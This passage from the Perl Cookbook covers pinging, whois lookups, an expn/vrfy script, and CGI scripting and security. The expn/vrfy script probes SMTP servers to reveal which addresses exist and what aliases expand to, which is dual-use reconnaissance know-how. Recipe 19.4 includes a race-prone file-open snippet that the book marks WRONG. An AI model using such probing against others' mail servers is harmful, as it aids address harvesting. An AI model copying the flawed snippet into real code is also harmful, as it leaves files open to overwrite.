    print "The giant ape lives!\n";
} else {
    print "All hail mighty Gamera, friend of children!\n";
}

All these ping methods are prone to failure. Some sites filter the ICMP protocol at their router, so Net::Ping will say such machines are down even though you can connect using other protocols. Similarly, many machines disable the TCP and UDP echo services, causing TCP and UDP pings to fail. There is no way to know whether the ping failed because the service is disabled or filtered, or because the machine is actually down.

See Also

The documentation for the Net::Ping module from CPAN; your system's ping (8), tcp (4), udp (4), and icmp (4) manpages (if you have them); RFC 792 and 950

Previous: 18.6. Simulating Telnet from a Program | Perl Cookbook | Next: 18.8. Using Whois to Retrieve Information from the InterNIC
18.6. Simulating Telnet from a Program | Book Index | 18.8. Using Whois to Retrieve Information from the InterNIC


Recipe 18.8. Using Whois to Retrieve Information from the InterNIC

Perl CookbookSearch this book

18.8. Using Whois to Retrieve Information from the InterNIC

Problem

You want to find out who owns a domain, as if you'd used the Unix whois command.

Solution

Use the CPAN module Net::Whois:

use Net::Whois;

$domain_obj = Net::Whois::Domain->new($domain_name)
    or die "Couldn't get information on $domain_name: $!\n";

# call methods on $domain_obj to get name, tag, address, etc.

Discussion

Whois is a service provided by domain name registration authorities to identify owners of domain names. Historically, queries were made with the whois (1) program on Unix systems, which returned about fifteen lines of information, including the names, addresses, and phone numbers of the administrative, technical, and billing contacts for the domain.

The Net::Whois module is a client for the whois service, just like whois (1). It connects to a whois server (the default is whois.internic.net, the master server for the ".com", ".org", ".net", and ".edu" domains) and gives you access to the information through method calls on an object.

To request information on a domain, create a new Net::Whois::Domain object. For instance, to look up information on perl.org:

$d = Net::Whois::Domain->new( "perl.org" )
    or die "Can't get information on perl.org\n";

The only guaranteed fields are the domain name and the tag - the domain's unique identifier in the NIC records:

print "The domain is called ", $d->domain, "\n";
print "Its tag is ", $d->tag, "\n";

Information that may be present includes: name of the domain's company or product (e.g., "The Perl Institute"), the address of the company (a list of lines, e.g., ("221B Baker Street", "London")), and the country the address is valid for (e.g., "United Kingdom" or its two-letter abbreviation "uk").

print "Mail for ", $d->name, " should be sent to:\n";
print map { "\t$_\n" } $d->address;
print "\t", $d->country, "\n";

In addition to information about the domain, you can also get information on the domain's contacts. The contact method returns a reference to a hash mapping contact type (e.g., "Billing" or "Administrative") onto an array of lines.

$contact_hash = $d->contacts;
if ($contact_hash) {
    print "Contacts:\n";
    foreach $type (sort keys %$contact_hash) {
        print "  $type:\n";
        foreach $line (@{$contact_hash->{$type}}) {
            print "    $line\n";
        }
    }
} else {
    print "No contact information.\n";
}

See Also

The documentation for the Net::Whois module from CPAN; your system's whois (8) manpage (if you have one); RFC 812 and 954

Previous: 18.7. Pinging a Machine | Perl Cookbook | Next: 18.9. Program: expn and vrfy
18.7. Pinging a Machine | Book Index | 18.9. Program: expn and vrfy


Recipe 18.9. Program: expn and vrfy

Perl CookbookSearch this book

18.9. Program: expn and vrfy

This program talks directly to an SMTP server and uses the EXPN and VRFY commands to figure out whether an address is going to work. It isn't perfect, because it relies on the remote SMTP giving meaningful information with the EXPN and VRFY commands. It uses Net::DNS if available, but can also work without.

This program inspects $0 (the program name) to see how it was called. If run as expn, it uses the EXPN command; if called as vrfy, it uses the VRFY command. Use links to install it with two names:

% cat > expn
#!/usr/bin/perl -w
...
^D
% ln expn vrfy

When you run it with an email address, the program reports what the mail server says when you try to EXPN or VRFY the address. If you have Net::DNS installed, it tries all hosts listed as mail exchangers in the DNS entry for the address.

Here's what it looks like without Net::DNS:

% expn gnat@frii.com
Expanding gnat at frii.com (gnat@frii.com):
calisto.frii.com Hello coprolith.frii.com [207.46.130.14],
    pleased to meet you
<gnat@mail.frii.com>

And here's the same address with Net::DNS installed:

% expn gnat@frii.com
Expanding gnat at mail.frii.net (gnat@frii.com):
deimos.frii.com Hello coprolith.frii.com [207.46.130.14],
    pleased to meet you
Nathan Torkington <gnat@deimos.frii.com>

Expanding gnat at mx1.frii.net (gnat@frii.com):
phobos.frii.com Hello coprolith.frii.com [207.46.130.14],
    pleased to meet you
<gnat@mail.frii.com>

Expanding gnat at mx2.frii.net (gnat@frii.com):
europa.frii.com Hello coprolith.frii.com [207.46.130.14],
    pleased to meet you
<gnat@mail.frii.com>

Expanding gnat at mx3.frii.net (gnat@frii.com):
ns2.winterlan.com Hello coprolith.frii.com [207.46.130.14],
    pleased to meet you
550 gnat... User unknown

The program is shown in Example 18.3.

Example 18.3: expn

#!/usr/bin/perl -w
# expn -- convince smtp to divulge an alias expansion
use strict;
use IO::Socket;
use Sys::Hostname;

my $fetch_mx = 0;
# try loading the module, but don't blow up if missing
eval {
    require Net::DNS;
    Net::DNS->import('mx');
    $fetch_mx = 1;
};

my $selfname = hostname();
die "usage: $0 address\@host ...\n" unless @ARGV;

# Find out whether called as "vrfy" or "expn".
my $VERB = ($0 =~ /ve?ri?fy$/i)  ? 'VRFY' : 'EXPN';
my $multi = @ARGV > 1;
my $remote;

# Iterate over addresses give on command line.
foreach my $combo (@ARGV) {
    my ($name, $host) = split(/\@/, $combo);
    my @hosts;
    $host ||= 'localhost';
    @hosts = map { $_->exchange } mx($host)     if $fetch_mx;
    @hosts = ($host)   unless @hosts;

    foreach my $host (@hosts) {
        print $VERB eq 'VRFY' ? "Verify" : "Expand",
            "ing $name at $host ($combo):";

        $remote = IO::Socket::INET->new(
               Proto    => "tcp",
               PeerAddr => $host,
               PeerPort => "smtp(25)",
           );

        unless ($remote) {
            warn "cannot connect to $host\n";
            next;
        }
        print "\n";

        $remote->autoflush(1);

        # use CRLF network line terminators
        print $remote "HELO $selfname\015\012";
        print $remote "$VERB $name\015\012";
        print $remote "quit\015\012";
        while (<$remote>) {
            /^220\b/ && next;
            /^221\b/ && last;
            s/250\b[\-\s]+//;
            print;
        }
        close($remote) or die "can't close socket: $!";
        print "\n"; #  if @ARGV;
    }
}

Previous: 18.8. Using Whois to Retrieve Information from the InterNIC | Perl Cookbook | Next: 19. CGI Programming
18.8. Using Whois to Retrieve Information from the InterNIC | Book Index | 19. CGI Programming


[Chapter 19] CGI Programming

Perl CookbookSearch this book
Previous: 18.9. Program: expn and vrfy Chapter 19 Next: 19.1. Writing a CGI Script

19. CGI Programming

Contents:
Introduction
Writing a CGI Script
Redirecting Error Messages
Fixing a 500 Server Error
Writing a Safe CGI Program
Making CGI Scripts Efficient
Executing Commands Without Shell Escapes
Formatting Lists and Tables with HTML Shortcuts
Redirecting to a Different Location
Debugging the Raw HTTP Exchange
Managing Cookies
Creating Sticky Widgets
Writing a Multiscreen CGI Script
Saving a Form to a File or Mail Pipe
Program: chemiserie

A successful tool is one that was used to do something undreamt of by its author.

- Stephen C. Johnson

19.0. Introduction

Changes in the environment or the availability of food can make certain species more successful than others at getting food or avoiding predators. Many scientists believe a comet struck the earth millions of years ago, throwing an enormous cloud of dust into the atmosphere. Subsequent radical changes to the environment proved too much for some organisms, say dinosaurs, and hastened their extinction. Other creatures, such as mammals, found new food supplies and freshly exposed habitats to compete in.

Much as the comet altered the environment for prehistoric species, the Web has altered the environment for modern programming languages. It's opened up new vistas, and although some languages have found themselves eminently unsuited to this new world order, Perl has positively thrived. Because of its strong background in text processing and system glue, Perl has readily adapted itself to the task of providing information using text-based protocols.

Architecture

The Web is driven by plain text. Web servers and web browsers communicate using a text protocol called HTTP, Hypertext Transfer Protocol. Many of the documents exchanged are encoded in a text markup system called HTML, Hypertext Markup Language. This grounding in text is the source of much of the Web's flexibility, power, and success. The only notable exception to the predominance of plain text is the Secure Socket Layer (SSL) protocol that encrypts other protocols like HTTP into binary data that snoopers can't decode.

Web pages are identified using the Uniform Resource Locator (URL) naming scheme. URLs look like this:

http://www.perl.com/CPAN/
http://www.perl.com:8001/bad/mojo.html
ftp://gatekeeper.dec.com/pub/misc/netlib.tar.Z
ftp://anonymous@myplace:gatekeeper.dec.com/pub/misc/netlib.tar.Z
file:///etc/motd

The first part (http, ftp, file) is called the scheme, and identifies how the file is retrieved. The next part (://) signifies a hostname will follow, whose interpretation depends on the scheme. After the hostname comes the path identifying the document. This path information is also called a partial URL.

The Web is a client-server system. Client browsers like Netscape and Lynx request documents (identified by a partial URL) from web servers like Apache. This browser-to-server dialog is governed by the HTTP protocol. Most of the time, the server merely sends back the contents of a file. Sometimes, however, the web server will run another program to send back a document that could be HTML text, an image, or any other document type. The server-to-program dialog is governed by the CGI (Common Gateway Interface) protocol, so the program that the server runs is a CGI program or CGI script.

The server tells the CGI program what page was requested, what values (if any) came in through HTML forms, where the request came from, who they authenticated as (if they authenticated at all), and much more. The CGI program's reply has two parts: headers to say "I'm sending back an HTML document," "I'm sending back a GIF image," or "I'm not sending you anything, go to this page instead," and a document body, perhaps containing GIF image data, plain text, or HTML.

The CGI protocol is easy to implement wrong and hard to implement right, which is why we recommend using Lincoln Stein's excellent CGI.pm module. It provides convenient functions for accessing the information the server sends you, and for preparing the CGI response the server expects. It is so useful, it is included in the standard Perl distribution as of the 5.004 release, along with helper modules like CGI::Carp and CGI::Fast. We show it off in Recipe 19.1.

Some web servers come with a Perl interpreter embedded in them. This lets you use Perl to generate documents without starting a new process. The system overhead of reading an unchanging page isn't noticable on infrequently accessed pages, even when it's happening several times a second. CGI accesses, however, bog down the machine running the web server. Recipe 19.5 shows how to use mod_perl, the Perl interpreter embedded in the Apache web server, to get the benefits of CGI programs without the overhead.

Behind the Scenes

CGI programs are called each time the web server needs a dynamic document generated. It is important to understand that your CGI program doesn't run continuously, with the browser calling different parts of the program. Each request for a partial URL corresponding to your program starts a new copy. Your program generates a page for that request, then quits.

A browser can request a document in a number of ways called methods. (Don't confuse HTTP methods with the methods of object-orientation. They have nothing to do with each other). The GET method is the most common, indicating a simple request for a document. The HEAD method is used when the browser wants to know about the document without actually fetching it. The POST method is used to submit form values.

Form values can be encoded in both GET and POST methods. With the GET method, values are encoded in the URL, leading to ugly URLs like this:

http://mox.perl.com/cgi-bin/program?name=Johann&born=1685

With the POST method, values are in a different part of the HTTP request that the browser sends the server. If the form values in the example URL above were sent with a POST request, the user, server, and CGI script all see the URL:

http://mox.perl.com/cgi-bin/program

The GET and POST methods differ in another respect: idempotency. This simply means that making a GET request for a particular URL once or multiple times should be no different. This is because the HTTP protocol definition says that a GET request may be cached by the browser, or server, or an intervening proxy. POST requests cannot be cached, because each request is independent and matters. Typically, POST requests changes or depends on the state of the server (query or update a database, send mail, or purchase a computer).

Most servers log requests to a file (the access log) for later analysis by the webmaster. Error messages produced by CGI programs don't go to the browser by default. Instead they are also logged to a file (the error log), and the browser simply gets a "500 Server Error" message saying that the CGI program didn't uphold its end of the CGI bargain.

Error messages are useful in debugging any program, but they are especially so with CGI scripts. Sometimes, though, the authors of CGI programs either don't have access to the error log or don't know where it is. Having error messages sent to a more convenient location is discussed in Recipe 19.2. Tracking down errors is covered in Recipe 19.3.

Recipe 19.9 shows how to learn what your browser and server are really saying to one another. Unfortunately, some browsers do not implement the HTTP specification correctly, and you can use the tools in this recipe to investigate whether your program or your browser is the cause of a problem.

Security

CGI programs let anyone run a program on your system. Sure, you get to pick the program, but the anonymous user from Out There can send it unexpected values and try to trick it into doing the wrong thing. Thus security is a big concern on the Web.

Some sites address this concern by banning CGI programs. Sites that can't do without the power and utility of CGI programs must find ways to secure their CGI programs. Recipe 19.4 gives a checklist of considerations for writing a secure CGI script, and it briefly covers Perl's tainting mechanism for guarding against accidental use of unsafe data. Recipe 19.6 shows how your CGI program can safely run other programs.

HTML and Forms

Some HTML tags let you create forms, where the user can fill in values that will be submitted to the server. The forms are composed of widgets, like text entry fields and check boxes. CGI programs commonly return HTML, so the CGI module has helper functions to create HTML for everything from tables to form widgets.

In addition to Recipe 19.7, this chapter also has Recipe 19.11, which shows how to create forms that retain their values over multiple calls. Recipe 19.12 shows how to make a single CGI script that produces and responds to a set of pages, for example, a product catalog and ordering system.

Web-Related Resources

Unsurprisingly, some of the best references on the Web are found on the Web:

WWW Security FAQ

http://www.w3.org/Security/Faq/

Web FAQ

http://www.boutell.com/faq/

CGI FAQ

http://www.webthing.com/tutorials/cgifaq.html

HTTP Specification

http://www.w3.org/pub/WWW/Protocols/HTTP/

HTML Specification

http://www.w3.org/TR/REC-html40/

http://www.w3.org/pub/WWW/MarkUp/

CGI Specification

http://www.w3.org/CGI/

CGI Security FAQ

http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt

We recommend Lincoln Stein's fine book, Official Guide to Programming with Cgi.pm (John Wiley and Associates, 1998), Tom Boutell's aging but worthwhile CGI Programming in C and Perl (Addison-Wesley, 1996) and HTML: The Definitive Guide (3rd Edition; O'Reilly & Associates, 1998) by Chuck Musciano and Bill Kennedy. The best periodical to date is the monthly Web Techniques magazine, targeted at web programmers.

Previous: 18.9. Program: expn and vrfy | Perl Cookbook | Next: 19.1. Writing a CGI Script
18.9. Program: expn and vrfy | Book Index | 19.1. Writing a CGI Script


Recipe 19.1. Writing a CGI Script

Perl CookbookSearch this book

19.1. Writing a CGI Script

Problem

You want to write a CGI script to process the contents of an HTML form. In particular, you want to access the form contents, and produce valid output in return.

Solution

A CGI script is a server-side program launched by a web server to generate a dynamic document. It receives encoded information from the remote client (user's browser) via STDIN and environment variables, and it must produce a valid HTTP header and body on STDOUT. The standard CGI module, shown in Example 19.1, painlessly manages the encoding of input and output.

Example 19.1: hiweb

#!/usr/bin/perl -w
# hiweb - load CGI module to decode information given by web server
use strict;

use CGI qw(:standard escapeHTML);

# get a parameter from a form
my $value = param('PARAM_NAME');

# output a document
print header(), start_html("Howdy there!"),
      p("You typed: ", tt(escapeHTML($value))),
      end_html();

Discussion

CGI is just a protocol, a formal agreement between a web server and a separate program. The server encodes the client's form input data, and the CGI program decodes the form and generates output. The protocol says nothing regarding which language the program must be written in; programs and scripts that obey the CGI protocol have been written in C, shell, Rexx, C++, VMS DCL, Smalltalk, Tcl, Python, and (of course) Perl.

The full CGI specification lays out which environment variables hold which data (such as form input parameters) and how it's all encoded. In theory, it should be easy to follow the protocol to decode the input, but in practice, it is surprisingly tricky to get right. That's why we strongly recommend using Lincoln Stein's excellent CGI module. The hard work of handling the CGI requirements correctly and conveniently has already been done, freeing you to write the core of your program without tedious network protocols.

CGI scripts are called in two main ways, referred to as methods - but don't confuse HTTP methods with Perl object methods! The HTTP GET method is used in document retrievals where an identical request will produce an identical result, such as a dictionary lookup. A GET stores form data in the URL. This means it can be conveniently bookmarked for canned requests, but has limitations on the total size of the data requested. The HTTP POST method sends form data separate from the request. It has no such size limitations, but cannot be bookmarked. Forms that update information on the server, like mailing in feedback or modifying a database entry, should use POST. Client browsers and intervening proxies are free to cache and refresh the results of GET requests behind your back, but they may not cache POST requests. GET is only safe for short read-only requests, whereas POST is safe for forms of any size, as well as for updates and feedback responses. Therefore, by default, the CGI module uses POST for all forms it generates.

With a few exceptions mainly related to file permissions and highly interactive work, CGI scripts can do nearly anything any other program can do. They can send back results in many formats: plain text, HTML documents, sound files, pictures, or anything else specified in the HTTP header. Besides producing plain text or HTML text, they can also redirect the client browser to another location, set server cookies, request authentication, and give errors.

The CGI module provides two different interfaces, a procedural one for casual use, and an object-oriented one for power users with complicated needs. Virtually all CGI scripts should use the simple procedural interface, but unfortunately, most of CGI.pm's documentation uses examples with the original object-oriented approach. Due to backwards compatibility, if you want the simple procedural interface, you need to specifically ask for it using the :standard import tag. See Chapter 12, Packages, Libraries, and Modules, for more on import tags.

To read the user's form input, pass the param function a field name to get. If you had a form field name "favorite", then param("favorite") would return its value. With some types of form fields like scrolling lists, the user can choose more than one option. For these, param returns a list of values, which you could assign to an array.

For example, here's a script that pulls in values of three form fields, the last one having many return values:

use CGI qw(:standard);
$who   = param("Name");
$phone = param("Number");
@picks = param("Choices");

Called without any arguments, param returns a list of valid form parameters in list context, or in scalar context, how many form parameters there were.

That's all there is to accessing the user's input. Do with it whatever you please, and then generate properly formatted output. This is nearly as easy. Remember that unlike regular programs, a CGI script's output must be formatted in a particular way: it must first emit a set of headers followed by a blank line before it can produce normal output.

As shown in the Solution above, the CGI module helps with output as well as input. The module provides functions for generating HTTP headers and HTML code. The header function builds the text of a header for you. By default, it produces headers for a text/html document, but you can change the Content-Type and supply other optional header parameters as well:

print header( -TYPE    => 'text/plain',
              -EXPIRES => '+3d' );

CGI.pm can also be used to generate HTML. It may seem trivial, but this is where the CGI module shines: the creation of dynamic forms, especially stateful ones such as shopping carts. The CGI module even has functions for generating forms and tables.

When printing form widgets, the characters &, <, >, and " in HTML output are automatically replaced with their entity equivalents. This is not the case with arbitary user output. That's why the Solution imports and makes use of the escapeHTML function - if the user types any of those special characters, they won't cause formatting errors in the HTML.

For a full list of functions and their calling conventions, see CGI.pm's documentation, included as POD source within the module itself.

See Also

The documentation for the standard CGI module; Chapter 19 of Learning Perl on "CGI Programming"; http://www.w3.org/CGI/; Recipe 19.7

Previous: 19.0. Introduction | Perl Cookbook | Next: 19.2. Redirecting Error Messages
19.0. Introduction | Book Index | 19.2. Redirecting Error Messages


Recipe 19.2. Redirecting Error Messages

Perl CookbookSearch this book

19.2. Redirecting Error Messages

Problem

You're having trouble tracking down your script's warnings and error messages, or your script's STDERR output is confusing your server.

Solution

Use the CGI::Carp module from the standard Perl distribution to cause all messages going out STDERR to be prefixed with the name of the application and the current date. You can also send warnings and errors to a file or the browser if you wish.

Discussion

Tracking down error messages from CGI scripts is notoriously annoying. Even if you manage to find the server error log, you still can't determine which message came from which script, or at what time. Some unfriendly web servers even abort the script if it has the audacity to emit anything out its STDERR before the Content-Type header is generated, which means the -w flag can get you into trouble.

Enter the CGI::Carp module. It replaces warn and die, plus the normal Carp module's carp, croak, and confess functions with more verbose and safer versions. It still sends them to the normal server error log.

use CGI::Carp;
warn "This is a complaint";
die "But this one is serious";

The following use of CGI::Carp also redirects errors to a file of your choice, placed in a BEGIN block to catch compile-time warnings as well:

BEGIN {
    use CGI::Carp qw(carpout);
    open(LOG, ">>/var/local/cgi-logs/mycgi-log")
        or die "Unable to append to mycgi-log: $!\n";
    carpout(*LOG);
}

You can even arrange for fatal errors to return to the client browser, which is nice for your own debugging but might confuse the end user.

use CGI::Carp qw(fatalsToBrowser);
die "Bad error here";

Even if the error happens before you get the HTTP header out, the module will try to take care of this to avoid the dreaded 500 Server Error. Normal warnings still go out to the server error log (or wherever you've sent them with carpout) with the application name and date stamp prepended.

See Also

The documentation for the standard CGI::Carp module, the discussion on BEGIN in Recipe 12.3

Previous: 19.1. Writing a CGI Script | Perl Cookbook | Next: 19.3. Fixing a 500 Server Error
19.1. Writing a CGI Script | Book Index | 19.3. Fixing a 500 Server Error


Recipe 19.3. Fixing a 500 Server Error

Perl CookbookSearch this book

19.3. Fixing a 500 Server Error

Problem

Your CGI script gives you a 500 Server Error.

Solution

Follow the checklist given in the discussion. It's aimed at a Unix audience, but the general principles embodied in the questions apply to all systems.

Discussion

Make sure the web server can run the script.

Check ownership and permissions with ls -l. The appropriate read and execute bits must be set on the script before the web server can run it. The script should be readable and executable by everyone (or at least by whomever the server runs scripts as). Use chmod 0755 scriptname if it's owned by you, otherwise chmod 0555 scriptname if owned by the designated anonymous web user, assuming you are running as that user or the superuser. All directories in the path must also have their execute bit set.

Make sure the script can be identified as a script by the web server. Most web servers have a system-wide cgi-bin, and all files in that directory will be run as scripts. Some servers identify a CGI script as any file whose name ends in a particular extension, like .cgi or .plx. Some servers have options to permit access via the GET method alone, and not through the POST method that your form likely uses. Consult your web server documentation, configuration files, webmaster, and (if all else fails) technical support.

If you're running on Unix, do you have the right path to the Perl executable on the #! line? The #! line must be the first line in the script; you can't even have blank lines before the #! line. Some operating systems have ridiculously short limits on the number of characters that can be in this line, so you may need to make a link (e.g., from /home/richh/perl to /opt/installed/third-party/software/perl-5.004/bin/perl, to pick a hypothetical pathological example).

If you're running on Win32, have you associated your Perl scripts with the correct Perl executable?

Make sure the script has permissions to do what it's trying to do.

Identify the user the script runs as by replacing with the simple code shown in Example 19.2.

Example 19.2: webwhoami

#!/usr/bin/perl
# webwhoami - show web users id
print "Content-Type: text/plain\n\n";
print "Running as ", scalar getpwuid($>), "\n";

This prints the username the script is running as.

Identify the resources the script is trying to access. List the files, network connections, system calls, and so on, which require special privilege. Then make sure they can be accessed by the user the script is running as. Are there disk or network quotas? Do the protections on the file allow access? Are you trying to get to the encrypted password field using getpwent on a shadow password system (since usually only the superuser can get shadow passwords)?

Set permissions on any files the script needs to write to at 0666, or better yet to 0644 if they're owned up the effective user ID the script is running under. If new files are to be created or old ones moved or removed, write and execute permission on enclosing directory of those files is also needed.

Is the script valid Perl?

Try to run it from a shell prompt. CGI.pm lets you run and debug your scripts from the command line or from standard input. Here, ^D represents whatever you type to get an End of File.

% perl -wc cgi-script        # just compilation

% perl -w  cgi-script        # parms from stdin
(offline mode: enter name=value pairs on standard input)
name=joe
number=10
^D

% perl -w  cgi-script name=joe number=10    # run with mock form input
% perl -d  cgi-script name=joe number=10    # ditto, under the debugger

# POST method script in csh
% (setenv HTTP_METHOD POST; perl -w cgi-script name=joe number=10)
# POST method script in sh
% HTTP_METHOD=POST perl -w cgi-script name=joe number=10

Check the server's error log. Most web servers redirect CGI process's STDERR into a file. Find that file (try /usr/local/etc/httpd/logs/error_log, /usr/local/www/logs/error_log, or just ask your administrator) and see whether any warnings or error messages are showing up there.

Are you using an old version of Perl? Type perl -v to find out. If you're not using 5.004 or better, you or your admins should upgrade, because 5.003 and earlier releases were not protected against buffer overruns. This is a grave security matter.

Are you using an old version of the libraries? You can either grep -i version in the library file (probably in /usr/lib/perl5/, /usr/local/lib/perl5, /usr/lib/perl5/site_perl, or some such). For CGI.pm, and in fact, with any module, you can do this to figure out which version you're using:

% perl -MCGI -le 'print CGI->VERSION'
2.49

Are you running the latest version of your web server? It's not often that it happens, but sometimes a web server has bugs that can interfere with your scripts.

Are you running with the -w switch? This makes Perl gripe about things like using uninitialized variables, reading from a write-only filehandle, and so on.

Are you running with the -T flag? If Perl complains about insecure actions, you might be assuming things about your script's input and environment that aren't true. Make it taint-clean (read Recipe 19.4, see the perlsec manpage to find out about tainting and its consequences for your program, and check the CGI Security FAQ for particular web traps to avoid) and you may sleep easier at night as well as have a working script.

Are you running with use strict? It makes you declare variables before you use them and quote your strings to avoid any confusion with subroutines, and in doing so finds a lot of errors.

Are you checking the return values of each and every one of your system calls? Many people blindly believe that every open or system or rename or unlink in their programs will work all the time. These functions return a value so you can find out whether they worked or not - check them!

Can Perl find the libraries you're using? Write a small script that just prints @INC (Perl's array of directories it looks for modules and libraries in). Check the permissions on the libraries (they must be readable by the user the script runs as). Don't try to copy modules from one machine to another - a lot of them have compiled and autoloaded components hidden away in the Perl library directory. Install them yourself from scratch.

Is Perl giving you warnings or errors? Try using CGI::Carp (see Recipe 19.2) to send Perl's error messages and warnings to the browser or a file you have access to.

Is the script upholding its end of the CGI protocol?

The HTTP header must come before the text or image you return. Don't forget the blank line between the header and body. Also, because STDOUT is not automatically autoflushed but STDERR is, if your script generates warnings or errors to STDERR the web server might see them before it sees your HTTP header and can generate an error on some servers. Add this at the top of your script (after the #! line) to also flush STDOUT:

$| = 1;

Don't ever try to decode the incoming form data by parsing the environment and standard input yourself. There are just too many places where it can go wrong. Use the CGI module and spend your time writing cool programs or reading Usenet instead of tracking down bugs in your implementation of an arcane protocol.

Asking for help elsewhere.

Check the FAQs and other documents mentioned at the end of the Introduction to this chapter. There is still a chance that you have made a common mistake on whatever system you're using - read the relevant FAQs to make sure you don't embarrass yourself by asking the CGI equivalent of "why doesn't my car run when it's out of gas and oil?"

Ask a friend. Almost everyone knows somebody they can ask for help. You'll probably get a reply much sooner than if you asked the Net.

Post to comp.infosystems.www.authoring.misc if your question is about a CGI script (the CGI module, decoding cookies, finding out where the user is coming from, etc.).

See Also

Recipe 19.2; the discussion on buffering in the introduction of Chapter 8, File Contents; the CGI FAQ at http://www.webthing.com/tutorials/cgifaq.html

Previous: 19.2. Redirecting Error Messages | Perl Cookbook | Next: 19.4. Writing a Safe CGI Program
19.2. Redirecting Error Messages | Book Index | 19.4. Writing a Safe CGI Program


Recipe 19.4. Writing a Safe CGI Program

Perl CookbookSearch this book

19.4. Writing a Safe CGI Program

Problem

Because CGI programs allow external users to run programs on systems they would not otherwise have access on, all CGI programs represent a potential security risk. You want to minimize your exposure.

Solution

  • Use taint mode (the -T switch on the #! line).

  • Don't blindly untaint data. (See below.)

  • Sanity-check everything, including all form widget return values, even hidden widgets or values generated by JavaScript code. Many people na衯ely assume that just because they tell JavaScript to check the form's values before the form is submitted, the form's values will actually be checked. Not at all! The user can trivially circumvent this by disabling JavaScript in their browser, by downloading the form and altering the JavaScript, or quit by talking HTTP without a browser using any of the examples in Chapter 20, Web Automation.

  • Check return conditions from system calls.

  • Be conscious of race conditions (described below).

  • Run with -w and use strict to make sure Perl isn't assuming things incorrectly.

  • Don't run anything setuid unless you absolutely must. If you must, think about running setgid instead if you can. Certainly avoid setuid root at all costs. If you must run setuid or setgid, use a wrapper unless Perl is convinced your system has secure setuid scripts and you know what this means.

  • Always encode login passwords, credit card numbers, social security numbers, and anything else you'd not care to read pasted across the front page of your local newspaper. Use a secure protocol like SSL when dealing with such data.

Discussion

Many of these suggestions are good ideas for any program - using -w and checking the return values of your system calls are obviously applicable even when security isn't the first thing on your mind. The -w switch makes Perl issue warnings about dubious constructs, like using an undefined variable as though it had a legitimate value, or writing to a read-only filehandle.

Apart from unanticipated shell escapes, the most common security threat lies in forged values in a form submission. It's trivial for anyone to save the source to your form, edit the HTML, and submit the altered form. Even if you're certain that a field can return only "yes" or "no", they can always edit it up to return "maybe" instead. Even fields marked as type HIDDEN in the form can be tampered. If the program at the other end blindly trusts its form values, it can be fooled into deleting files, creating new user accounts, mailing password or credit card databases, or innumerable other malicious abuses. This is why you must never blindly trust data (like prices) stored in hidden fields when writing CGI shopping cart applications.

Even worse is when the CGI script uses a form value as the basis of a filename to open or a command to run. Bogus values submitted to the script could trick it into opening arbitrary files. Situations like this are precisely why Perl has a taint mode. If a program runs setuid, or else has the -T switch active, any data coming in through program arguments, environment variables, directory listings, or a file, are considered tainted, and cannot be used directly or indirectly to affect the outside world.

Running under taint mode, Perl insists that you set your path variable first, even if specifying a complete pathname when you call a program. That's because you have no assurance that the command you run won't turn around and invoke some other program using a relative pathname. You must also untaint any externally derived data for safety.

For instance, when running in taint mode:

#!/usr/bin/perl -T
open(FH, "> $ARGV[0]") or die;

Perl warns with:

Insecure dependency in open while running with -T switch at ...

This is because $ARGV[0] (having come from outside your program) is not trustworthy. The only way to change tainted data into untainted data is by using regular expression backreferences:

$file = $ARGV[0];                                   # $file tainted
unless ($file =~ m#^([\w.-]+)$#) {                  # $1 is untainted
    die "filename '$file' has invalid characters.\n";
}
$file = $1;                                         # $file untainted

Tainted data can come from anything outside your program, such as from your program arguments or environment variables, the results of reading from filehandles or directory handles, and stat or locale information. Operations considered insecure with tainted data include system(STRING), exec(STRING), backticks, glob, open with any mode except read-only, unlink, mkdir, rmdir, chown, chmod, umask, link, symlink, the -s command-line switch, kill, require, eval, truncate, ioctl, fcntl, socket, socketpair, bind, connect, chdir, chroot, setpgrp, setpriority, and syscall.

A common attack exploits what's known as a race condition. That's a situation where, between two actions of yours, an attacker can race in and change something to make your program misbehave. A notorious race condition occurred in the way older Unix kernels ran setuid scripts: between the kernel reading the file to find which interpreter to run, and the now-setuid interpreter reading the file, a malicious person could substitute their own script.

Race conditions crop up even in apparently innocuous places. Consider what would happen if not one but many copies of the following code ran simultaneously.

unless (-e $filename) {                     # WRONG!
    open(FH, "> $filename");
    # ...
}

There's a race between testing whether the file exists and opening it for writing. Still worse, if someone replaced the file with a link to something important, like one of your personal configuration files, the above code would erase that file. The correct way to do this is to do a non-destructive create with the sysopen function, described in Recipe 7.1.

A setuid CGI script runs with different permissions than the web server does. This lets the CGI script access resources (files, shadow password databases, etc) that it otherwise could not. This can be convenient, but it can also be dangerous. Weaknesses in setuid scripts may let crackers access not only files that the low-privilege web server user can access, but also any that could be accessed by the user the script runs as. For a poorly written setuid root script, this could let anyone change passwords, delete files, read credit card records, and other malicious acts. This is why you should always make sure your programs run with the lowest possible privilege, normally the user the web server runs as: nobody.

Finally (and this recommendation may be the hardest to follow) be conscious of the physical path your network traffic takes. Are you sending passwords over an unencrypted connection? Do these unencrypted passwords travel through insecure networks? A form's PASSWORD input field only protects you from someone looking over your shoulder. Always use SSL when real passwords are involved. If you're serious about security, fire up your browser and a packet sniffer to see how easily your traffic is decoded.

See Also

The section on "Cooperating with Strangers" in Chapter 6 of Programming Perl; perlsec (1); the CGI and HTTP specs and the CGI Security FAQ, all mentioned in the Introduction to this chapter; the section on "Avoiding Denial of Service Attacks" in the standard CGI module documentation; Recipe 19.6

Previous: 19.3. Fixing a 500 Server Error | Perl Cookbook | Next: 19.5. Making CGI Scripts Efficient
19.3. Fixing a 500 Server Error | Book Index | 19.5. Making CGI Scripts Efficient


Recipe 19.5. Making CGI Scripts Efficient

Perl CookbookSearch this book

19.5. Making CGI Scripts Efficient

Problem

Your CGI script is called often, and the web server is suffering as a result. You'd like to lessen the load your CGI script causes.

Solution

Use mod_perl in the Apache web server along with the following section in your httpd.conf file:

Alias /perl/ /real/path/to/perl/scripts/

<Location /perl>
SetHandler  perl-script
PerlHandler Apache::Registry
Options ExecCGI
</Location>

PerlModule Apache::Registry
PerlModule CGI
PerlSendHeader On

Discussion

Using the mod_perl Apache web server module, you can write Perl code that will step in at any part of a request's processing. You can write your own logging and authentication routines, define virtual hosts and their configuration, and write your own handlers for certain types of request.

The snippet above says that requests with URLs starting in /perl/ are actually in /real/path/to/perl/scripts/ and that they should be handled by Apache::Registry. This runs them in a CGI environment. PerlModule CGI preloads the CGI module, and PerlSendHeader On makes most of your CGI scripts work out of the box with mod_perl.

